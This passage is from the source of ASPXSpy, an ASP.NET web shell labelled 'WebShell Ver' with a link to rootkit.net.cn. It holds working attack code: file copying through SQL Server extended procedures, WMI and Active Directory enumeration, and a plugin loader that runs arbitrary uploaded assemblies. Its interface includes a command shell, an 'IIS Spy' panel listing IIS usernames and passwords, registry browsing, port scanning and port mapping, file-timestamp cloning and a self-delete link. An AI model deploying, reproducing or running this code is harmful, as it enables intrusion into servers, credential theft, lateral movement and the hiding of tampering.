  2256.             if(Bin_ExecSql("exec master..xp_makecab '" + tmppath + "\\~098611.tmp','default',1,'" + Bin_TextBox_Source.Value + "';exec master..xp_unpackcab '" + tmppath + "\\~098611.tmp','" + Path.GetDirectoryName(Bin_TextBox_Target.Value) + "',1,'" + Path.GetFileName(Bin_TextBox_Target.Value) + "'")){Bin_Msg("File Copyed,Good Luck!");}
  2257.         }
  2258.         catch (Exception ex)
  2259.         {
  2260.             zcg_ShowError(ex);
  2261.         }
  2262.     }
  2263.  
  2264.     protected void Bin_Button_FsoCopy_Click(object sender, EventArgs e)
  2265.     {
  2266.         Bin_Div_CopyFile.Visible = true;
  2267.         try
  2268.         {
  2269.             if(Bin_ExecSql("declare @a int;exec master..sp_oacreate'Scripting.FileSystemObject',@a output;exec master..sp_oamethod @a,'CopyFile',null,'" + Bin_TextBox_Source.Value + "','" + Bin_TextBox_Target.Value+ "'")){     Bin_Msg("File Copyed,Good Luck!");}
  2270.         }
  2271.         catch (Exception ex)
  2272.         {
  2273.             Bin_Msg(ex.Message);
  2274.         }
  2275.  
  2276.     }
  2277.     protected void Bin_Button_WmiQuery_Click(object sender, EventArgs e)
  2278.     {
  2279.         if (Bin_TextBox_WmiString.Text != "")
  2280.         {
  2281.             Bin_Div_WmiPanel.Visible = true;
  2282.             try
  2283.             {
  2284.                 Bin_DataGrid_Wmi.PreRender+=new EventHandler(DataGrid_PreRender);
  2285.                 if(string.IsNullOrEmpty(zcg_txbWmiComputer.Text))
  2286.                 {
  2287.                     Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text);
  2288.                 }
  2289.                 else
  2290.                 {
  2291.                     Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiComputer.Text,zcg_txbWmiUserName.Text,zcg_txbWmiPassword.Text,zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text);
  2292.                 }
  2293.                 Bin_DataGrid_Wmi.DataBind();
  2294.                 for(int i=0;i<Bin_DataGrid_Wmi.Items.Count;i++)
  2295.                 {
  2296.                     zcg_SetControlAttribute(Bin_DataGrid_Wmi.Items[i]);
  2297.                 }
  2298.             }
  2299.             catch (Exception ex)
  2300.             {
  2301.                 zcg_ShowError(ex);
  2302.             }
  2303.         }
  2304.     }
  2305.    
  2306.     [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
  2307.     private static extern bool LookupAccountName(string machineName, string accountName, byte[] sid, ref int sidLen, StringBuilder domainName, ref int domainNameLen, out int peUse);
  2308.     private string zcg_GetCurrentDomain()
  2309.     {
  2310.         try{return zcg_WmiDataTable("root\\CIMV2","select Domain from Win32_ComputerSystem").Rows[0]["Domain"] as string;}
  2311.         catch{
  2312.             try{string s = Environment.UserDomainName;
  2313.             int num3;
  2314.             byte[] sid = new byte[0x400];
  2315.             int length = sid.Length;
  2316.             StringBuilder domainName = new StringBuilder(0x400);
  2317.             int capacity = domainName.Capacity;
  2318.             if(!string.Equals(s,"NT AUTHORITY"))
  2319.             {
  2320.                 return s;
  2321.             }
  2322.             else if (LookupAccountName(null, DomainUserName, sid, ref length, domainName, ref capacity, out num3))
  2323.             {
  2324.                 return domainName.ToString();
  2325.             }return Environment.MachineName;}catch{return Environment.MachineName;}
  2326.         }
  2327.     }
  2328.     protected void zcg_lbtnADSViewer_Click(object sender,EventArgs e)
  2329.     {
  2330.         Hide_Div();
  2331.         try{
  2332.         zcg_div_ADSViewer.Visible = true;
  2333.         zcg_lbtnADSLocalMachine.CommandArgument="WinNT://"+Environment.MachineName;
  2334.         zcg_lbtnADSCurrentDomain.CommandArgument="WinNT://"+zcg_GetCurrentDomain();
  2335.         }catch(Exception ex){zcg_ShowError(ex);}
  2336.         Bin_H2_Title.InnerText = "ADS Viewer >>";        
  2337.     }
  2338.     protected void zcg_btnDoListADS_Click(object sender,EventArgs e)
  2339.     {
  2340.         if(!string.IsNullOrEmpty(zcg_txbADSPath.Value.Trim()))
  2341.         {
  2342.             try{
  2343.                 if(!string.IsNullOrEmpty(zcg_txbADSFilter.Value.Trim()))
  2344.                 {
  2345.                     zcg_SearchADSChildren(zcg_txbADSPath.Value.Trim(),zcg_txbADSFilter.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value);
  2346.                 }else{
  2347.                 zcg_EnumADSChildrenAndListProperties(zcg_txbADSPath.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value);
  2348.                 }
  2349.             }
  2350.             catch(Exception ex){zcg_ShowError(ex);}
  2351.         }
  2352.     }
  2353.     protected void zcg_lbtnADS_Click(object sender,EventArgs e)
  2354.     {
  2355.         string ADSPath=(sender as LinkButton).CommandArgument;
  2356.         zcg_txbADSPath.Value=ADSPath;
  2357.         try{zcg_EnumADSChildrenAndListProperties(ADSPath,null,null,zcg_txbADSType.Value);}
  2358.         catch(Exception ex){zcg_ShowError(ex);}
  2359.     }
  2360.     private void zcg_SearchADSChildren(string ADSPath,string ADSFilter,string ADSUserName,string ADSPassWord,string AuthType)
  2361.     {
  2362.         DirectorySearcher ds=null;
  2363.         SearchResultCollection sc=null;
  2364.         try
  2365.         {
  2366.             new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand();
  2367.             AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType));
  2368.             DirectoryEntry dire=null;
  2369.             TableCell tc=null;
  2370.             if(!string.IsNullOrEmpty(ADSUserName))
  2371.             {
  2372.                 dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t);
  2373.             }
  2374.             else
  2375.             {
  2376.                 dire=new DirectoryEntry(ADSPath);
  2377.                 dire.AuthenticationType=t;
  2378.             }
  2379.             zcg_lbl_Schema.Text="SearchResult";
  2380.             ds=new DirectorySearcher(dire,ADSFilter);
  2381.             sc=ds.FindAll();
  2382.             foreach(SearchResult sr in sc)
  2383.             {
  2384.                 TableRow tr=zcg_GetTableRow();
  2385.                 tc=new TableCell();
  2386.                 tc.Text=zcg_MakeADSLinkJs(sr.Path);
  2387.                 tr.Cells.Add(tc);
  2388.                 tc=new TableCell();
  2389.                 tc.Text="Search Result Entry";
  2390.                 tr.Cells.Add(tc);
  2391.                 tc=new TableCell();
  2392.                 tc.Text="Unknown";
  2393.                 tr.Cells.Add(tc);
  2394.                 tc=new TableCell();
  2395.                 tc.Text="--";
  2396.                 tr.Cells.Add(tc);
  2397.                 tc=new TableCell();
  2398.                 tc.Text=zcg_MakeADSLinkJs(sr.Path);
  2399.                 tr.Cells.Add(tc);
  2400.                 zcg_tbl_ADSViewer.Rows.Add(tr);
  2401.             }
  2402.         }
  2403.         catch(Exception ex)
  2404.         {
  2405.             zcg_ShowError(ex);
  2406.         }
  2407.         finally
  2408.         {
  2409.             if(ds!=null){ds.Dispose();}
  2410.             if(sc!=null){sc.Dispose();}
  2411.         }
  2412.     }
  2413.     private void zcg_EnumADSChildrenAndListProperties(string ADSPath,string ADSUserName,string ADSPassWord,string AuthType)
  2414.     {
  2415.         try
  2416.         {
  2417.             new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand();
  2418.             AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType));
  2419.             DirectoryEntry dire=null;
  2420.             DirectoryEntry parent=null;
  2421.             TableCell tc=null;
  2422.             if(!string.IsNullOrEmpty(ADSUserName))
  2423.             {
  2424.                 dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t);
  2425.             }
  2426.             else
  2427.             {
  2428.                 dire=new DirectoryEntry(ADSPath);
  2429.                 dire.AuthenticationType=t;
  2430.             }
  2431.             try{zcg_lbl_Schema.Text=dire.SchemaClassName;}catch{zcg_lbl_Schema.Text="Unknown";}
  2432.             parent=dire.Parent;
  2433.             if(!string.Equals(parent.Path,"ADs:"))
  2434.             {
  2435.                 TableRow tr=zcg_GetTableRow();
  2436.                 tc=new TableCell();
  2437.                 tc.Text=zcg_MakeADSLinkJs(dire.Parent.Path,"Parent DirectoryEntry");
  2438.                 tr.Cells.Add(tc);
  2439.                 tc=new TableCell();
  2440.                 tc.Text="Parent Entry";
  2441.                 tr.Cells.Add(tc);
  2442.                 tc=new TableCell();
  2443.                 try
  2444.                 {
  2445.                     tc.Text=parent.SchemaClassName;
  2446.                     tr.Cells.Add(tc);
  2447.                 }
  2448.                 catch
  2449.                 {
  2450.                     tc.Text="Unknown";
  2451.                     tr.Cells.Add(tc);
  2452.                 }
  2453.                 tc=new TableCell();
  2454.                 tc.Text="--";
  2455.                 tr.Cells.Add(tc);
  2456.                 tc=new TableCell();
  2457.                 tc.Text=zcg_MakeADSLinkJs(parent.Path);
  2458.                 tr.Cells.Add(tc);
  2459.                 zcg_tbl_ADSViewer.Rows.Add(tr);
  2460.             }
  2461.             foreach (DirectoryEntry child in dire.Children)
  2462.             {
  2463.                 try
  2464.                 {
  2465.                     TableRow tr=zcg_GetTableRow();
  2466.                     tc=new TableCell();
  2467.                     tc.Text=zcg_MakeADSLinkJs(child.Path,child.Name);
  2468.                     tr.Cells.Add(tc);
  2469.                     tc=new TableCell();
  2470.                     tc.Text="Child Entry";
  2471.                     tr.Cells.Add(tc);
  2472.                     try
  2473.                     {
  2474.                         tc=new TableCell();
  2475.                         tc.Text=child.SchemaClassName;
  2476.                         tr.Cells.Add(tc);
  2477.                     }
  2478.                     catch
  2479.                     {
  2480.                         tc=new TableCell();
  2481.                         tc.Text="Unknown";
  2482.                         tr.Cells.Add(tc);
  2483.                     }
  2484.                     tc=new TableCell();
  2485.                     tc.Text="--";
  2486.                     tr.Cells.Add(tc);
  2487.                     tc=new TableCell();
  2488.                     tc.Text=zcg_MakeADSLinkJs(child.Path);
  2489.                     tr.Cells.Add(tc);
  2490.                     zcg_tbl_ADSViewer.Rows.Add(tr);
  2491.                 }
  2492.                 catch{}
  2493.             }
  2494.             TableRow intr=new TableRow();
  2495.             intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  2496.             intr.Attributes["bgcolor"]="#dddddd";
  2497.             TableCell intc=new TableCell();
  2498.             intc.Attributes["colspan"]="6" ;
  2499.             intc.Attributes["height"]="5";
  2500.             intr.Cells.Add(intc);
  2501.             zcg_tbl_ADSViewer.Rows.Add(intr);
  2502.             System.DirectoryServices.PropertyCollection pc=dire.Properties;
  2503.             foreach(object o in pc.PropertyNames)
  2504.             {
  2505.                 try
  2506.                 {
  2507.                     if(o is string)
  2508.                     {
  2509.                         string tmps=null;
  2510.                         object prop=pc[o as string].Value;
  2511.                         if(prop is Array)
  2512.                         {
  2513.                             foreach(object op in prop as Array)
  2514.                             {
  2515.                                 if(op is byte)
  2516.                                 {
  2517.                                     tmps+=((byte)op).ToString("X2");
  2518.                                 }
  2519.                                 else
  2520.                                 {
  2521.                                     tmps+=op.ToString();
  2522.                                     tmps+="<br />";
  2523.                                 }
  2524.                             }
  2525.                         }
  2526.                         else
  2527.                         {
  2528.                             tmps=prop.ToString();
  2529.                         }
  2530.                         TableRow tr=zcg_GetTableRow();
  2531.                         tc=new TableCell();
  2532.                         tc.Text=o as string;
  2533.                         tr.Cells.Add(tc);
  2534.                         tc=new TableCell();
  2535.                         tc.Text="Property";
  2536.                         tr.Cells.Add(tc);
  2537.                         tc=new TableCell();
  2538.                         tc.Text="--";
  2539.                         tr.Cells.Add(tc);
  2540.                         tc=new TableCell();
  2541.                         tc.Text=tmps;
  2542.                         tr.Cells.Add(tc);
  2543.                         tc=new TableCell();
  2544.                         tc.Text="--";
  2545.                         tr.Cells.Add(tc);
  2546.                         zcg_tbl_ADSViewer.Rows.Add(tr);
  2547.                     }
  2548.                 }catch{}
  2549.             }
  2550.         }
  2551.         catch(Exception ex)
  2552.         {
  2553.             zcg_ShowError(ex);
  2554.         }
  2555.     }
  2556.     private string zcg_MakeADSLinkJs(params string[] ADSSettings)
  2557.     {
  2558.         if(ADSSettings.GetLength(0)>1)
  2559.         {
  2560.             return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[1]);
  2561.         }
  2562.         return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[0]);
  2563.     }
  2564.     protected void zcg_lbtnPlugin_Click(object sender,EventArgs e)
  2565.     {
  2566.         Hide_Div();
  2567.         zcg_div_Plugin.Visible = true;
  2568.         Bin_H2_Title.InnerText = "Plugin Loader >>";      
  2569.     }
  2570.     protected void zcg_btnplgLoad_Click(object sender,EventArgs e)
  2571.     {
  2572.         zcg_div_PluginResult.InnerHtml="";
  2573.         try
  2574.         {
  2575.             if(zcg_plgFile.PostedFile.ContentLength==0){Bin_Msg("No Plugin Selected");}
  2576.             else
  2577.             {
  2578.                 Stream stream=null;MemoryStream mem=new MemoryStream();byte[] b = new byte[2048];int i = 0;
  2579.                 if(zcg_chbIsDeflated.Checked){stream=new DeflateStream(zcg_plgFile.PostedFile.InputStream, CompressionMode.Decompress);}
  2580.                 else{stream=zcg_plgFile.PostedFile.InputStream;}
  2581.                 do{i = stream.Read(b, 0, 2048);mem.Write(b, 0, i);} while (i != 0);
  2582.                 stream.Close();b=mem.ToArray();mem.Close();
  2583.                 string TypeName=string.IsNullOrEmpty(zcg_txbTypeName.Text)?"Zcg.Test.AspxSpyPlugins.TestPlugin":zcg_txbTypeName.Text;
  2584.                 string MethodName=string.IsNullOrEmpty(zcg_txbMethodName.Text)?"Test":zcg_txbMethodName.Text;
  2585.                 Type t=Assembly.Load(b).GetType(TypeName);
  2586.                 if(t==null){Bin_Msg("Type "+TypeName+" Not Found");}
  2587.                 else{zcg_div_PluginResult.InnerHtml=String.Format("Result :<hr width=\"100%\" noshade/>"+(zcg_chbIsHtml.Checked?"{0}":"<pre><xmp>{0}</xmp></pre>"),t.InvokeMember(MethodName,BindingFlags.InvokeMethod|BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static,null,null,new object[]{zcg_txbParams.Text.Split(new string[1]{"\r\n"},StringSplitOptions.RemoveEmptyEntries)}));zcg_div_PluginResult.Visible=true;}
  2588.             }
  2589.         }
  2590.         catch(Exception ex){zcg_ShowError(ex);}//to see InnerException
  2591.     }
  2592. </script>
  2593. <html xmlns="http://www.w3.org/1999/xhtml" >
  2594. <head id="Head1" runat="server">
  2595. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  2596. <title><%=Version + " - " +Request.ServerVariables["SERVER_NAME"]%></title>
  2597. <style type="text/css">
  2598. .Bin_Style_Login{font:11px Verdana;BACKGROUND: #FFFFFF;border: 1px solid #666666;}
  2599. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  2600. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
  2601. .list{font:12px Arial,Tahoma;height:20px;}
  2602. .area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  2603. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;
  2604.         }
  2605. a {color: #00f;text-decoration:underline;}
  2606. a:hover{color: #f00;text-decoration:none;}
  2607. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;}
  2608. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;}
  2609. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  2610. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;}
  2611. .head td span{font-weight:normal;}
  2612. form{margin:0;padding:0;}
  2613. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  2614. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  2615. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  2616. .u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  2617. .u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;}
  2618. </style>
  2619.     <script type="text/javascript">
  2620.     function CheckAll(form){
  2621.     for(var i=0;i<form.elements.length;i++){
  2622.         var e=form.elements[i];
  2623.         if(e.name!='chkall')
  2624.         e.checked=form.chkall.checked;
  2625.     }
  2626. }
  2627.     </script>
  2628. </head>
  2629. <body style="margin:0;table-layout:fixed;">
  2630.     <form id="ASPXSpy" runat="server">
  2631.     <div id="Bin_Div_Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
  2632.         <span style="font:11px Verdana;">Password:</span>
  2633.         <asp:TextBox ID="Bin_TextBox_Login" runat="server" CssClass="Bin_Style_Login" ></asp:TextBox>
  2634.         <asp:Button ID="Bin_Button_Login" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="Bin_Button_Login_Click"/>
  2635.     </div>
  2636.     <div id="Bin_Div_Content" runat="server">
  2637.     <div id="Bin_Div_Head" runat="server">
  2638.     <table width="100%" border="0" cellpadding="0" cellspacing="0">
  2639.     <tr class="head">
  2640.         <td ><span style="float:right;"><a href="http://www.rootkit.net.cn" target="_blank">WebShell Ver: <%=Version%></a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
  2641.     </tr>
  2642.     <tr class="alt1">
  2643.         <td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  2644.             <asp:LinkButton ID="Bin_Button_Logout" runat="server" OnClick="Bin_Button_Logout_Click" Text="Logout" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_File" runat="server" Text="File Manager" OnClick="Bin_Button_File_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Search" runat="server" Text="FileSearch" OnClick="Bin_Search_Start"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Cmd" runat="server" Text="CmdShell" OnClick="Bin_Button_Cmd_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_IISspy" runat="server" Text="IIS Spy" OnClick="Bin_Button_IISspy_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Process" runat="server" Text="Process" OnClick="Bin_Button_Process_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Services" runat="server" Text="Services" OnClick="Bin_Button_Services_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Userinfo" runat="server" Text="UserInfo" OnClick="Bin_Button_Userinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Sysinfo" runat="server" Text="SysInfo" OnClick="Bin_Button_Sysinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Reg" runat="server" Text="RegShell" OnClick="Bin_Button_Reg_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortScan" runat="server" Text="PortScan" OnClick="Bin_Button_PortScan_Click" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_DB" runat="server" Text="DataBase" OnClick="Bin_Button_DB_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortMap" runat="server" Text="PortMap" OnClick="Bin_Button_PortMap_Click"></asp:LinkButton> |<asp:LinkButton ID="Bin_Button_WmiTools" runat="server" Text="WmiTools" onclick="Bin_Button_WmiTools_Click" ></asp:LinkButton> | <asp:LinkButton ID="zcg_lbtnADSViewer" runat="server" Text="ADSViewer" OnClick="zcg_lbtnADSViewer_Click"></asp:LinkButton> | <asp:LinkButton ID="zcg_lbtnPlugin" runat="server" Text="PluginLoader" OnClick="zcg_lbtnPlugin_Click"></asp:LinkButton></td>
  2645.     </tr>
  2646.     </table>
  2647.     </div>
  2648.     <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  2649.     <div id="Bin_Div_Msg" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  2650.     <h2 id="Bin_H2_Title" runat="server"></h2>
  2651.     <%--FileList--%>
  2652.     <div id="Bin_Div_File" runat="server">
  2653.     <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2654.  <tr>
  2655.     <td style=" white-space:nowrap">Current Directory : </td>
  2656.     <td style=" width:100%"><input class="input" id="Bin_TextBox_Path" type="text" style="width:97%;margin:0 8px;" runat="server"/>
  2657.     </td>
  2658.     <td style="white-space:nowrap" ><asp:Button ID="Bin_Button_Go" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Go_Click"/></td>
  2659.  </tr>
  2660.     </table>
  2661.     <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2662.     <tr class="alt1"><td style="padding:5px;">
  2663.     <div style="float:right;"><input id="Bin_Lable_File" class="input" runat="server" type="file" style=" height:22px"/>
  2664.     <asp:Button ID="Bin_Button_Upload" CssClass="bt" runat="server" Text="Upload" OnClick="Bin_Button_Upload_Click"/></div><asp:LinkButton ID="Bin_Button_WebRoot" runat="server" Text="WebRoot" OnClick="Bin_Button_WebRoot_Click"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">Create Directory</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Create File</a>
  2665.      | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a>
  2666.     </td></tr>
  2667.         <asp:Table ID="Bin_Table_File" runat="server" Width="100%" CellSpacing="0" >
  2668.             <asp:TableRow CssClass="head"><asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="25%">Last modified</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>
  2669.         </asp:Table>
  2670.     </table>
  2671.     </div>
  2672.     <%--FileEdit--%>
  2673.     <div id="Bin_Div_Edit" runat="server">
  2674.     <p>Current File(import new file name and new file)<br/>
  2675.     <input class="input" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/> <asp:DropDownList ID="Bin_List_Code" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  2676.     </p>
  2677.     <p>File Content<br/>
  2678.     <textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" enableviewstate="false" ></textarea>
  2679.     </p>
  2680.     <p><asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/> <asp:Button ID="Bin_Button_Back" runat="server" Text="Back" CssClass="bt" OnClick="Bin_Button_Back_Click"/></p>
  2681.     </div>
  2682.     <%--CloneTime--%>
  2683.     <div id="Bin_Div_Time" runat="server" enableviewstate="false" visible="false">
  2684.     <p>Alter file<br/><input class="input" id="Bin_TextBox_Sp" type="text" size="120" runat="server"/></p>
  2685.     <p>Reference file(fullpath)<br/><input class="input" id="Bin_TextBox_Dp" type="text" size="120" runat="server"/></p>
  2686.     <p><asp:Button ID="Bin_Button_Clone" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Clone_Click"/></p>
  2687.     <h2>Set last modified &raquo;</h2>
  2688.     <p>Current file(fullpath)<br/><input class="input" id="Bin_TextBox_Sp1" type="text" size="120" runat="server"/></p>
  2689.     <p>
  2690.         <asp:CheckBox ID="Bin_CheckBox_ReadOnly" runat="server" Text="ReadOnly" EnableViewState="False"/>
  2691.         &nbsp;
  2692.         <asp:CheckBox ID="Bin_CheckBox_System" runat="server" Text="System" EnableViewState="False"/>
  2693.         &nbsp;
  2694.         <asp:CheckBox ID="Bin_CheckBox_Hiddent" runat="server" Text="Hidden" EnableViewState="False"/>
  2695.         &nbsp;
  2696.         <asp:CheckBox ID="Bin_CheckBox_Archive" runat="server" Text="Archive" EnableViewState="False"/>
  2697.     </p>
  2698.     <p>
  2699.         CreationTime :
  2700.         <input class="input" id="Bin_TextBox_Creation" type="text" runat="server"/>
  2701.         LastWriteTime :
  2702.         <input class="input" id="Bin_TextBox_LastWrite" type="text" runat="server"/>
  2703.         LastAccessTime :
  2704.         <input class="input" id="Bin_TextBox_LastAccess" type="text" runat="server"/>
  2705.         </p>
  2706.         <p>
  2707.             <asp:Button ID="Bin_Button_Att" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_Att_Click"/>
  2708.         </p>
  2709.     </div>
  2710.     <%--IISSpy--%>
  2711.     <div runat="server" id="Bin_Div_IISSpy" visible="false" enableviewstate="false">
  2712.     <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2713.         <asp:Table ID="Bin_Table_IISSpy" runat="server" Width="100%" CellSpacing="0">
  2714.             <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2715.         </asp:Table>
  2716.     </table>
  2717.     </div>
  2718.     <%--Process--%>
  2719.     <div runat="server" id="Bin_Div_Process" visible="false" enableviewstate="false">
  2720.     <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2721.         <asp:Table ID="Bin_Table_Process" runat="server" Width="100%" CellSpacing="0" >
  2722.             <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  2723.         </asp:Table>
  2724.     </table>
  2725.     </div>
  2726.     <%--CmdShell--%>
  2727.     <div runat="server" id="Bin_Div_Cmd">
  2728.      <p>CmdPath:<br/>
  2729.      <input class="input" runat="server" id="Bin_TextBox_CmdPath" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
  2730.      </p>
  2731.      Argument:<br/>
  2732.      <input class="input" runat="server" id="Bin_TextBox_CmdArg" value="/c Set" type="text" size="100"/> <asp:Button ID="Bin_Button_CmdExec" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_CmdExec_Click"/>
  2733.      <div id="Bin_Div_CmdRes" runat="server" visible="false" enableviewstate="false">
  2734.      </div>
  2735.     </div>
  2736.     <%--Services--%>
  2737.     <div runat="server" id="Bin_Div_Services" visible ="false" enableviewstate="false">
  2738.     <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2739.         <asp:Table ID="Bin_Table_Serviecs" runat="server" Width="100%" CellSpacing="0" >
  2740.             <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  2741.         </asp:Table>
  2742.     </table>
  2743.     </div>
  2744.     <%--Sysinfo--%>
  2745.     <div runat="server" id="Bin_Div_Sysinfo" visible="false" enableviewstate="false">
  2746.     <hr style=" border: 1px solid #ddd;height:0px;"/>
  2747.     <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  2748.     <h2 id="Bin_H2_Mac" runat="server"></h2>
  2749.     <hr style=" border: 1px solid #ddd;height:0px;"/>
  2750.     <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  2751.     <h2 id="Bin_H2_Driver" runat="server"></h2>
  2752.     <hr style=" border: 1px solid #ddd;height:0px;"/>
  2753.     <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  2754.     </div>
  2755.     <%--UserInfo--%>
  2756.     <div runat="server" id="Bin_Div_Userinfo" visible="false" enableviewstate="false">
  2757.     <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2758.         <asp:Table ID="Bin_Table_User" runat="server" Width="100%" CellSpacing="0" >
  2759.         </asp:Table>
  2760.     </table>
  2761.     </div>
  2762.     <%--Reg--%>
  2763.     <div id="Bin_Div_Reg" runat="server">
  2764.     <p>Registry Path : <asp:TextBox id="Bin_Text_Regread" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="Bin_Button_RegGo" runat="server" Text="Go" CssClass="bt" onclick="Bin_Bin_RegreadButton_Click"/></p>
  2765.     <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2766.         <asp:Table ID="Bin_Table_Reg" runat="server" Width="100%" CellSpacing="0" >
  2767.             <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="Bin_Regroot_Href"></asp:TableCell></asp:TableRow>
  2768.             <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  2769.         </asp:Table>
  2770.     </table>
  2771.     </div>
  2772.     <%--PortScan--%>
  2773.     <div id="Bin_Div_PortScan" runat="server">
  2774.     <p>
  2775.     IP : <asp:TextBox id="Bin_TextBox_Sip" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> Port : <asp:TextBox id="Bin_TextBox_Sport" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="Bin_Button_Scan" runat="server" Text="Scan" CssClass="bt" OnClick="Bin_Button_Scan_Click"/>
  2776.     </p>
